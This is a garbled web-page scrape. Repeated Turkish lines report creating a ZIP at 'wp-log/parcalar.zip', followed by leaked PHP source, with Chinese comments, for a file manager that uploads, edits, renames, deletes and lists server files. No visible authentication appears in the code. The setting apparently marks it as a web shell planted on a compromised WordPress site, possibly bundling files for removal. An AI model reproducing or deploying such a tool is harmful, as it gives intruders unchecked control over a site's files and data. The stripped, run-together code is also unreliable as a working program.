ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
✅ 文件已保存

"; } $content = htmlspecialchars(file_get_contents($fileToEdit)); echo "

编辑文件: " . basename($fileToEdit) . "

"; echo "
返回
"; exit; } else { echo "

❌ 无法编辑文件,路径无效或文件不存在

"; exit; } } // **文件上传** if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['uploadFile'])) { $uploadFile = $currentDirectory . '/' . basename($_FILES['uploadFile']['name']); if (move_uploaded_file($_FILES['uploadFile']['tmp_name'], $uploadFile)) { echo "

✅ 文件上传成功

"; } else { echo "

❌ 文件上传失败

"; } } // **处理批量删除文件** if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['deleteFiles'])) { $filesToDelete = json_decode($_POST['deleteFiles'], true); $deleted = array(); // 使用array()而不是[],兼容PHP 5.2 $errors = array(); // 使用array()而不是[],兼容PHP 5.2 foreach ($filesToDelete as $fileName) { $fileToDelete = realpath($currentDirectory . '/' . $fileName); if ($fileToDelete && strpos($fileToDelete, $documentRoot) === 0 && is_file($fileToDelete)) { if (unlink($fileToDelete)) { $deleted[] = $fileName; } else { $errors[] = $fileName; } } else { $errors[] = $fileName; } } echo json_encode(array("deleted" => $deleted, "errors" => $errors)); // 使用array()而不是[],兼容PHP 5.2 exit; } // **处理文件重命名** if (isset($_POST['rename'])) { $oldName = realpath($currentDirectory . '/' . $_POST['fileName']); $newName = $currentDirectory . '/' . $_POST['copyName']; if ($oldName && strpos($oldName, $documentRoot) === 0) { if (rename($oldName, $newName)) { echo json_encode(array("status" => "success", "message" => "文件已重命名")); // 使用array()而不是[],兼容PHP 5.2 } else { echo json_encode(array("status" => "error", "message" => "重命名失败:权限不足")); // 使用array()而不是[],兼容PHP 5.2 } } else { echo json_encode(array("status" => "error", "message" => "重命名失败:文件不存在")); // 使用array()而不是[],兼容PHP 5.2 } exit; } // **获取当前目录下的文件和文件夹** $fileList = is_dir($currentDirectory) ? scandir($currentDirectory) : array(); // 使用array()而不是[],兼容PHP 5.2 // **面包屑导航** $breadcrumbs = array(); // 使用array()而不是[],兼容PHP 5.2 $pathParts = explode("/", trim(str_replace($documentRoot, "", $currentDirectory), "/")); $pathLink = ""; $breadcrumbs[] = "Home"; foreach ($pathParts as $part) { if (!empty($part)) { // 避免空路径部分 $pathLink .= "/" . $part; $breadcrumbs[] = "" . htmlspecialchars($part) . ""; } } ?> 文件管理器 " . implode(" > ", $breadcrumbs) . ""; // 添加文件上传表单 echo '
'; echo "
"; echo ""; echo ""; echo ""; echo ""; foreach ($fileList as $file) { if ($file == "." || $file == "..") continue; $filePath = $currentDirectory . '/' . $file; $fileSize = is_dir($filePath) ? '-' : human_filesize(filesize($filePath)); $fileDate = date("Y-m-d H:i:s", filemtime($filePath)); $fileNameHtml = htmlspecialchars($file); // 安全输出文件名 echo ""; echo ""; if (is_dir($filePath)) { echo ""; echo ""; } else { echo ""; echo ""; } echo ""; echo ""; } echo "
选择文件名文件大小最后修改时间操作
[📁] ".$fileNameHtml."-".$fileDate."[📄] ".$fileNameHtml."".$fileSize."".$fileDate."
"; echo "
"; ?>